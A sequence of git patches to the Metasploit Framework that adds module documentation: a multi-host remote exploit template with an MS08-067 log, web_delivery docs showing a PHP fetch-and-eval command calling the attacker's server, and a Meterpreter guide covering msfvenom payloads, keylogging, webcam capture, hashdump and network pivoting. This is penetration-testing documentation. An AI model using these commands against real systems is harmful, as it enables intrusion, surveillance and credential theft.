wchen-r7 Date: Wed, 2 Mar 2016 11:05:33 -0600 Subject: [PATCH 45/96] Link to WbemExec writeup --- documentation/modules/exploit/windows/smb/psexec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md index 4c7a571c08..5fe2abe0c5 100644 --- a/documentation/modules/exploit/windows/smb/psexec.md +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -126,7 +126,7 @@ datastore options. Or, you can supply your own custom EXE by setting the EXE::Cu **MOF Upload Target** -The MOF target technically does not use psexec: it does not explicitly tell Windows to execute +The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec: it does not explicitly tell Windows to execute anything. All it does is uploading two files: the payload (exe) in SYSTEM32, and a managed object format file in SYSTEM32\wbem\mof\ directory. When Windows sees the mof file in that directory, it automatically runs it. Once executed, the code inside the mof file basically tells Windows to From 11964c5c1a2f22ade03e2f5d2e01dce609848939 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 2 Mar 2016 19:52:11 -0600 Subject: [PATCH 46/96] Add remote exploit demo and web_delivery doc --- .../remote_exploit_demo_template.erb | 95 +++++++++++++++++++ .../exploit/multi/script/web_delivery.md | 82 ++++++++++++++++ lib/msf/util/document_generator/normalizer.rb | 35 +++++-- 3 files changed, 202 insertions(+), 10 deletions(-) create mode 100644 data/markdown_doc/remote_exploit_demo_template.erb create mode 100644 documentation/modules/exploit/multi/script/web_delivery.md diff --git a/data/markdown_doc/remote_exploit_demo_template.erb b/data/markdown_doc/remote_exploit_demo_template.erb new file mode 100644 index 0000000000..53238e7725 --- /dev/null +++ b/data/markdown_doc/remote_exploit_demo_template.erb @@ -0,0 +1,95 @@ +Normally, you can use <%= mod.fullname %> this way: + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +But since this is a remote exploit module, you can also engage multiple hosts. + +First, create a list of IPs you wish to exploit with this module. One IP per line. + +Second, set up a background payload listener. This payload should be the same as the one your +<%= mod.shortname %> will be using: + +1. Do: ```use exploit/multi/handler``` +2. Do: ```set PAYLOAD [payload]``` +3. Set other options required by the payload +4. Do: ```set EXITONSESSION false``` +5. Do: ```run -j``` + +At this point, you should have a payload listening. + +Next, create the following script. Notice you will probably need to modify the ip_list path, and +payload options accordingly: + +``` +<ruby> +# +# Modify the path if necessary +# +ip_list = '/tmp/ip_list.txt' + +File.open(ip_list, 'rb').each_line do |ip| + print_status("Trying against #{ip}") + run_single("use <%= mod.fullname %>") + run_single("set RHOST #{ip}") + run_single("set DisablePayloadHandler true") + + # + # Set a payload that's the same as the handler. + # You might also need to add more run_single commands to configure other + # payload options. + # + run_single("set PAYLOAD [payload name]") + + run_single("run") +end +</ruby> +``` + +Next, run the resource script in the console: + +``` +msf > resource [path-to-resource-script] +``` + +And finally, you should see that the exploit is trying against those hosts similar to the following +MS08-067 example: + +``` +msf > resource /tmp/exploit_hosts.rc +[*] Processing /tmp/exploit_hosts.rc for ERB directives. +[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes) +[*] Trying against 192.168.1.80 + +RHOST => 192.168.1.80 +DisablePayloadHandler => true +PAYLOAD => windows/meterpreter/reverse_tcp +LHOST => 192.168.1.199 + +[*] 192.168.1.80:445 - Automatically detecting the target... +[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English +[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) +[*] 192.168.1.80:445 - Attempting to trigger the vulnerability... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Trying against 192.168.1.109 +RHOST => 192.168.1.109 +DisablePayloadHandler => true +PAYLOAD => windows/meterpreter/reverse_tcp +LHOST => 192.168.1.199 +[*] 192.168.1.109:445 - Automatically detecting the target... +[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown +[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English +[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX) +[*] 192.168.1.109:445 - Attempting to trigger the vulnerability... +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600 + +[*] Sending stage (957999 bytes) to 192.168.1.109 +[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600 +``` diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md new file mode 100644 index 0000000000..3694fc16c4 --- /dev/null +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -0,0 +1,82 @@ +As a web server, web_delivery provides a great way to deliver a payload during post exploitation, +with the intention to stay stealthy because the payload does not touch the disk. + +Currently, web_delivery supports three different languages for delivery: Python, PHP, and +Powershell. You should be able to tell which one you can use based on the target environment +you are in. + +For example: if you have gained access through a PHP application, then it's safe to assume you can +use PHP. If you're in a Windows server (such as Windows Server 2008), then it's probably safe to +say the target supports Powershell. + +## Verification Steps + +To be able to use web_delivery, you must gain access to the target machine first, wit the ability +to execute either the Python, or PHP, or Powershell interpreter. + +At that point, you would use web_delivery similar to the following example: + +1. Start msfconsole +2. Do: ```use exploit/multi/script/web_delivery``` +3. Do: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options) +4. Do: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target) +5. Do: ```set LHOST IP``` (The IP the payload should connect back to) +6. Do: ```run``` +7. At this point, a handler is up for that payload. And the module should instruct you to execute + a command. +8. Copy the command. Depending on your pentesting scenario, typically you can either inject the + command and get code execution, or run it from the target's shell, and get a session: + +``` +msf exploit(web_delivery) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 172.16.23.1:4444 +msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9 +[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9 +[*] Server started. +[*] Run the following command on the target machine: +php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));" +[*] Delivering Payload +[*] Sending stage (33684 bytes) to 172.16.23.134 +[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600 +``` + +## Targets + +**Python** + +Python is a fairly popular language, especially on unix-based systems. For example, it comes with +Ubuntu Linux by default since 8.04. As well as Debian, and Mac OS X since 10.3. + +**PHP** + +PHP is a fairly popular language for web servers, especially Apache. + +**Powershell/win** + +Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 +are the first Windows versions to come with Powershell by default, and not older systems. + +## Scenarios + +**Against a compromised web application** + +web_delivery would work nicely for a web application with a command execution vulnerability. + +One way to approach this would be: + +1. Start exploit/multi/script/web_delivery +2. Use Burp Suite to intercept the HTTP/HTTPS request, place the command in the parameter that + results in arbitrary code execution. +3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. + +**Shell upgrade** + +web_delivery is also useful to upgrade a shell type payload to a meterpreter one. + +Here's how that can be done: + +1. Start exploit/multi/script/web_delivery that generates/ +2. On msfconsole, interact with the shell, and copy/pate the command. +3. You should get a meterpreter session. diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 5292304c5c..31c0f9b4c5 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -33,16 +33,26 @@ module Msf module DocumentGenerator class DocumentNormalizer - CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) - TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) - BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) - HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) - GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) - LOCALEXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'localexploit_demo_template.erb')) - POST_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'post_demo_template.erb')) - PAYLOAD_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) - AUXILIARY_SCANNER_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) - HTML_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'html_template.erb')) + # + # Markdown templates + # + + CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) + HTML_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'html_template.erb')) + TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) + + # + # Demo templates + # + + REMOTE_EXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'remote_exploit_demo_template.erb')) + BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) + HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) + GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) + LOCALEXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'localexploit_demo_template.erb')) + POST_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'post_demo_template.erb')) + AUXILIARY_SCANNER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) + PAYLOAD_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) # Returns the module document in HTML form. @@ -228,6 +238,11 @@ module Msf load_template(mod, PAYLOAD_TEMPLATE) elsif mod.kind_of?(Msf::Auxiliary::Scanner) load_template(mod, AUXILIARY_SCANNER_TEMPLATE) + elsif mod.type == 'exploit' && + !mod.kind_of?(Msf::Exploit::FILEFORMAT) && + mod.kind_of?(Msf::Exploit::Remote) && + mod.options['DisablePayloadHandler'] + load_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE) else load_template(mod, GENERIC_DEMO_TEMPLATE) end From 934f8de9b786e3f80af1256cbc9ff4302a02d572 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 3 Mar 2016 00:53:00 -0600 Subject: [PATCH 47/96] Update the conditions of is_remote_exploit? --- lib/msf/util/document_generator/normalizer.rb | 22 +++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 31c0f9b4c5..ed1477c881 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -219,6 +219,23 @@ module Msf end + # Returns whether the module is a remote exploit or not. + # + # @param mod [Msf::Module] Metasploit module. + # @return [TrueClass] Module is a remote exploit. + # @return [FalseClass] Module is not really a remote exploit. + def is_remote_exploit?(mod) + # It's actually a little tricky to determine this, so we'll try to be as + # specific as possible. Rather have false negatives than false positives, + # because the worst case would be using the generic demo template. + mod.type == 'exploit' && # Must be an exploit + mod.kind_of?(Msf::Exploit::Remote) && # Should always have this + !mod.kind_of?(Msf::Exploit::FILEFORMAT) && # Definitely not a file format + !mod.kind_of?(Msf::Exploit::Remote::TcpServer) && # If there is a server mixin, things might get complicated + mod.options['DisablePayloadHandler'] # Must allow this option + end + + # Returns a demo template suitable for the module. Currently supported templates: # BrowserExploitServer modules, HttpServer modules, local exploit modules, post # modules, payloads, auxiliary scanner modules. @@ -238,10 +255,7 @@ module Msf load_template(mod, PAYLOAD_TEMPLATE) elsif mod.kind_of?(Msf::Auxiliary::Scanner) load_template(mod, AUXILIARY_SCANNER_TEMPLATE) - elsif mod.type == 'exploit' && - !mod.kind_of?(Msf::Exploit::FILEFORMAT) && - mod.kind_of?(Msf::Exploit::Remote) && - mod.options['DisablePayloadHandler'] + elsif is_remote_exploit?(mod) load_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE) else load_template(mod, GENERIC_DEMO_TEMPLATE) From cececa749dada2d090ef7698cca21531c0587066 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 3 Mar 2016 00:58:17 -0600 Subject: [PATCH 48/96] Update css --- data/markdown_doc/markdown.css | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css index 034ba8cca5..56e5948b78 100644 --- a/data/markdown_doc/markdown.css +++ b/data/markdown_doc/markdown.css @@ -1,11 +1,4 @@ -h1, -h2, -h3, -h4, -h5, -h6, -p, -blockquote { +h1, h2, h3, h4, h5, h6, p, blockquote { margin: 0; padding: 0; } @@ -29,12 +22,7 @@ a img { p { margin-bottom: 16px; } -h1, -h2, -h3, -h4, -h5, -h6 { +h1, h2, h3, h4, h5, h6 { color: #404040; line-height: 36px; } @@ -91,7 +79,7 @@ code, pre { font-family: Monaco, Andale Mono, Courier New, monospace; } code { - background-color: #fee9cc; + background-color: #eee; color: rgba(0, 0, 0, 0.75); padding: 1px 3px; font-size: 13px; From f4866fd5f03176edef03f20c25cd7de1c7b33c62 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 3 Mar 2016 01:27:14 -0600 Subject: [PATCH 49/96] Update template and web_delivery doc --- data/markdown_doc/remote_exploit_demo_template.erb | 6 +++++- documentation/modules/exploit/multi/script/web_delivery.md | 7 ++++--- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/data/markdown_doc/remote_exploit_demo_template.erb b/data/markdown_doc/remote_exploit_demo_template.erb index 53238e7725..ea72c5480f 100644 --- a/data/markdown_doc/remote_exploit_demo_template.erb +++ b/data/markdown_doc/remote_exploit_demo_template.erb @@ -1,3 +1,5 @@ +**Using <%= mod.shortname %> against a single host** + Normally, you can use <%= mod.fullname %> this way: ``` @@ -10,7 +12,9 @@ msf <%= mod.type %>(<%= mod.shortname %>) > show options msf <%= mod.type %>(<%= mod.shortname %>) > exploit ``` -But since this is a remote exploit module, you can also engage multiple hosts. +**Using <%= mod.shortname %> against multiple hosts** + +But it looks like this is a remote exploit module, which means you can also engage multiple hosts. First, create a list of IPs you wish to exploit with this module. One IP per line. diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index 3694fc16c4..f5208585ee 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -11,7 +11,7 @@ say the target supports Powershell. ## Verification Steps -To be able to use web_delivery, you must gain access to the target machine first, wit the ability +To be able to use web_delivery, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. At that point, you would use web_delivery similar to the following example: @@ -56,7 +56,8 @@ PHP is a fairly popular language for web servers, especially Apache. **Powershell/win** Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 -are the first Windows versions to come with Powershell by default, and not older systems. +are the first Windows versions to come with Powershell by default. Older Windows systems such as XP +don't come with it by default, but it is still possible to see it installed on a corporate network. ## Scenarios @@ -67,7 +68,7 @@ web_delivery would work nicely for a web application with a command execution vu One way to approach this would be: 1. Start exploit/multi/script/web_delivery -2. Use Burp Suite to intercept the HTTP/HTTPS request, place the command in the parameter that +2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution. 3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. From c811ed8d6063114dd295a703bb0810387416556a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 5 Mar 2016 00:42:36 -0600 Subject: [PATCH 50/96] Correct name: PAYLOAD_DEMO_TEMPLATE --- lib/msf/util/document_generator/normalizer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index ed1477c881..02a11c9544 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -252,7 +252,7 @@ module Msf elsif mod.kind_of?(Msf::Post) load_template(mod, POST_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Payload) - load_template(mod, PAYLOAD_TEMPLATE) + load_template(mod, PAYLOAD_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Auxiliary::Scanner) load_template(mod, AUXILIARY_SCANNER_TEMPLATE) elsif is_remote_exploit?(mod) From 1b39d5f593f54f89b3b1a7fd9d2171a9bfcd9dd8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 5 Mar 2016 00:43:08 -0600 Subject: [PATCH 51/96] Add work in progress: windows/meterpreter/reverse_tcp.md --- .../windows/meterpreter/reverse_tcp.md | 591 ++++++++++++++++++ 1 file changed, 591 insertions(+) create mode 100644 documentation/modules/payload/windows/meterpreter/reverse_tcp.md diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..b9693cfb0f --- /dev/null +++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md @@ -0,0 +1,591 @@ +windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has +to offer, and there's so many things you can do with it. + +It allows you to remotely control the file system, sniff, keylog, hashdump, network pivoting, +control the webcam and microphone, etc. It has the best support for post modules, and you can +load extensions such as mimikatz and python interpreter, etc. + +windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets. + +## Vulnerable Application + +This meterpreter payload is suitable for the following environments: + +* Windows x64 +* Windows x86 + +## Verification Steps + +windows/meterpreter/reverse_tcp is typically used in two different ways. + +First, it is typically used as a payload for an exploit. Here's how to do that: + +1. In msfconsole, select an exploit module +2. Configure the options for that exploit. +3. Do: ```set payload windows/meterpreter/reverse_tcp``` +4. Set the ```LHOST``` option, which is the IP that the payload should connect to. +5. Do: ```exploit```. If the exploit is successful, it should execute that payload. + +Another way to use windows/meterpreter/reverse_tcp is to generate it as an executable. Normally, +you would want to do it with msfvenom. If you are old school, you have probably also heard of +msfpayload and msfencode: msfvenom is a replacement of those. + +The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp +as an executable: + +``` +./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o /tmp/payload.exe +``` + +## Important Basic Commands + +**pwd command** + +The ```pwd``` command allows you to see the current directory you're in on the remote target. +Example: + +``` +meterpreter > pwd +C:\Users\user\Desktop +``` + +**cd command** + +The ```cd``` command allows you to change directory. Example: + +``` +meterpreter > cd C:\\ +meterpreter > pwd +C:\ +``` + +**cat command** + +The ```cat``` command allows you to see the content of a file: + +``` +meterpreter > cat C:\\file.txt +Hello world! +``` + +**upload command** + +The ```upload``` command allows you to upload a file to the remote target. For example: + +``` +meterpreter > upload /tmp/something.txt C:\\Users\\user\\Desktop\\something.txt +[*] uploading : /tmp/something.txt -> C:\Users\user\Desktop\something.txt +[*] uploaded : /tmp/something.txt -> C:\Users\user\Desktop\something.txt +meterpreter > +``` + +The ```-r``` option for the command also allows you to upload recursively. + +**download command** + +The ```download``` command allows you download a file from the remote target to your machine. +For example: + +``` +meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/ +[*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt +[*] download : C:\Users\user\Desktop\something.txt -> /tmp//something.txt +meterpreter > +``` + +The ```-r``` option for the command also allows you to download recursively. + +**search command** + +The ```search``` command allows you to find files on the remote file system. For example, this +demonstrates how to find all text files in the current directory: + +``` +meterpreter > search -d . -f *.txt +Found 1 result... + .\something.txt (5 bytes) +``` + +Note that without the ```-d``` option, the command will attempt to search in all drives. + +The ```-r``` option for the commands allows you to search recursively. + +**ifconfig command** + +The ```ifconfig``` command displays the network interfaces on the remote machine: + +``` +meterpreter > ifconfig + +Interface 1 +============ +Name : Software Loopback Interface 1 +Hardware MAC : 00:00:00:00:00:00 +MTU : 4294967295 +IPv4 Address : 127.0.0.1 +IPv4 Netmask : 255.0.0.0 +IPv6 Address : ::1 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +... +``` + +The command ```ipconfig``` is an alias for ```ifconfig```. + +**getuid command** + +The ```getuid``` command shows you the current user that the payload is running as: + +``` +meterpreter > getuid +Server username: WIN-6NH0Q8CJQVM\user +``` + +**execute command** + +The ```execute``` command allows you to execute a command or file on the remote machine. + +The following example will spawn a calculator: + +``` +meterpreter > execute -f calc.exe +Process 2076 created. +``` + +To pass an argument, use the ```-a``` flag: + +``` +meterpreter > execute -f iexplore.exe -a http://metasploit.com +Process 2016 created. +``` + +There are some options you can see to add more stealth. For example, you can use the ```-H``` flag +to create the process hidden from view. You can also use the ```-m``` flag to execute from memory. + +**ps command** + +The ```ps``` command lists the running processes on the remote machine. + +**shell command** + +The ```shell``` command allows you to interact with the remote machine's command prompt. Example: + +``` +meterpreter > shell +Process 3576 created. +Channel 6 created. +Microsoft Windows [Version 6.1.7601] +Copyright (c) 2009 Microsoft Corporation. All rights reserved. + +C:\Users\user\Desktop> +``` + +To switch back to meterpreter, do [CTRL]+[Z] to background the channel. + +**sysinfo command** + +The ```sysinfo``` command shows you basic information about the remote machine. Example: + +``` +meterpreter > sysinfo +Computer : WIN-6NH0Q8CJQVM +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` + +**keyscan_start** + +The ```keyscan_start`` command starts the keylogging feature on the remote machine. + +**keyscan_dump** + +The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command +before using this. Example: + +``` +meterpreter > keyscan_start +Starting the keystroke sniffer... +meterpreter > keyscan_dump +Dumping captured keystrokes... +Hello World!! +``` + +If you wish to stop sniffing, use the ```keyscan_stop``` command. + +**keyscan_stop** + +The ```keyscan_stop``` command stops the keylogger. + +**screenshot** + +The ```screenshot``` command takes a screenshot of the target machine. + +**webcam_list** + +The ```webcam_list``` commands shows you a list of webcams that can be controlled by you. You +probably want to use this first before using any other webcam commands. + +**webcam_snap** + +The ```webcam_snap``` commands uses the selected webcam to take a picture. + +**webcam_stream** + +The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create +the streaming effect. There is no sound. + +**record_mic** + +The ```record_mic``` command captures audio on the remote machine. + +**getsystem** + +The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of +these techniques: + +* Named pipe impersonation (in memory) +* Named pipe impersonation (dropper) +* Token duplication (in memory) + +Example: + +``` +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +``` + +**hashdump** + +The ```hashdump``` commands allows you to dump the Windows hashes if there's enough privilege. +Example: + +``` +meterpreter > hashdump +Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4::: +root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d::: +SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2::: +``` + + +## Scenarios + +**Setting up for Testing** + +For testing purposes, if you're tired of manually generating a payload and starting a multi handler +repeatedly, the auto_win32_multihandler.rc resource script in Metasploit automates that. Here's how +you would use it: + +First, run the resource script: + +``` +$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc +[*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives. +[*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes) +lhost => 192.168.1.199 +lport => 4444 +[*] Writing 73802 bytes to /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe... +[*] windows/meterpreter/reverse_tcp's LHOST=192.168.1.199, LPORT=4444 +[*] windows/meterpreter/reverse_tcp is at /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe +payload => windows/meterpreter/reverse_tcp +lhost => 192.168.1.199 +lport => 4444 +exitonsession => false +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] Starting the payload handler... +msf exploit(handler) > +``` + +Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there. +Upload that payload to your test box, execute it, and you should receive a connection. + + +**Antivirus Evasion** + +.. + +**Using the Mimikatz Extension** + +.. + +**Using the extapi Extension** + +.. + +**Using the Python Extension** + +The Python extension allows you to use the remote machine's Python interpreter. + +To load the extension, at the meterpreter prompt, do: + +``` +meterpreter > use python +Loading extension python...success. +``` + +The most basic example of using the interpreter is the ```python_execute``` command: + +``` +meterpreter > python_execute "x = 'hello world'; print x" +[+] Content written to stdout: +hello world + +meterpreter > +``` + +Another way to execute Python code is from a local file by using the ```python_import``` command. + +To do this, first prepare for a Python script. This example should create a message.txt on the +remote machine's desktop: + + +```python +import os + +user_profile = os.environ['USERPROFILE'] + +f = open(user_profile + '\\Desktop\\message.txt', 'w+') +f.write('hello world!') +f.close() +``` + +And to run that with the command: + +``` +meterpreter > python_import -f /tmp/test.py +[*] Importing /tmp/test.py ... +[+] Command executed without returning a result +meterpreter > +``` + +To learn more about the Python extension, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/Python-Extension). + +**Network Pivoting** + +There are three mains ways that you can use for moving around inside a network: the route command +in the msf prompt, in the meterpreter prompt, and portfwd. + +The route command from the msf prompt allows you connect to hosts on a different network through +the compromised machine. You should be able to determine that by looking at the compromised +machine's ipconfig: + +``` +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600 + +meterpreter > ipconfig +... +Interface 10 +============ +Name : Intel(R) PRO/1000 MT Network Connection +Hardware MAC : 00:0c:29:86:4b:0d +MTU : 1472 +IPv4 Address : 192.168.1.201 +IPv4 Netmask : 255.255.255.0 +IPv6 Address : 2602:30a:2c51:e660::20 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +IPv6 Address : 2602:30a:2c51:e660:44a:576e:3d2c:d765 +IPv6 Netmask : ffff:ffff:ffff:ffff:: +IPv6 Address : 2602:30a:2c51:e660:94be:567f:4fe7:5da7 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +IPv6 Address : fe80::44a:576e:3d2c:d765 +IPv6 Netmask : ffff:ffff:ffff:ffff:: + +... + +Interface 26 +============ +Name : VPN +Hardware MAC : 00:00:00:00:00:00 +MTU : 1400 +IPv4 Address : 192.100.0.100 +IPv4 Netmask : 255.255.255.255 + +... +``` + +The above shows that we have a meterpreter connection to 192.168.1.201 - let's call this box A. +And then box A is connected to the 192.100.0.0/24 VPN network. We as an attacker aren't connected +to this network directly, but we can explore that network through box A. So here's what we do by +routing: + +At the msf prompt, do: + +``` +msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1 +[*] Route added +``` + +Note: ```1``` means the session ID, the payload that is used as a gateway to talk to other machines. + +So right now, we have a connection established to the VPN, and we should be able to connect to +another machine from that network: + +``` +msf auxiliary(smb_version) > run + +[*] 192.100.0.101:445 - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(smb_version) > +``` + +Another neat trick using route is that you can also bypass the compromised host's firewall this +way. For example, if the host has HTTP open, but SMB blocked by the firewall. You can try to +compromise it via HTTP first, use the route command to talk to SMB, and then try to exploit SMB. + +The route command in meterpreter allows you change the routing table that is on the target machine. +The way it needs to be configured is similar to the route command in msf. + +The portfwd command allows you to talk to a remote service like it's local. For example, if you +are able to compromise a host via SMB, but not able to connect to the remote desktop service, then +you can do: + +``` +meterpreter > portfwd add –l 3389 –p 3389 –r > target host > +``` + +And that should allow you to connect to remote desktop this way on the attacker's box: + +``` +rdesktop 127.0.0.1 +``` + +**Meterpreter Paranoid Mode** + +The paranoid mode forces the handler to be strict about which meterpreter should be connecting to +it, hence the name "paranoid mode". + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode). + +**Meterpreter Reliable Network Communication** + +Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. +Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when +an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first. + +To learn more about this feature, 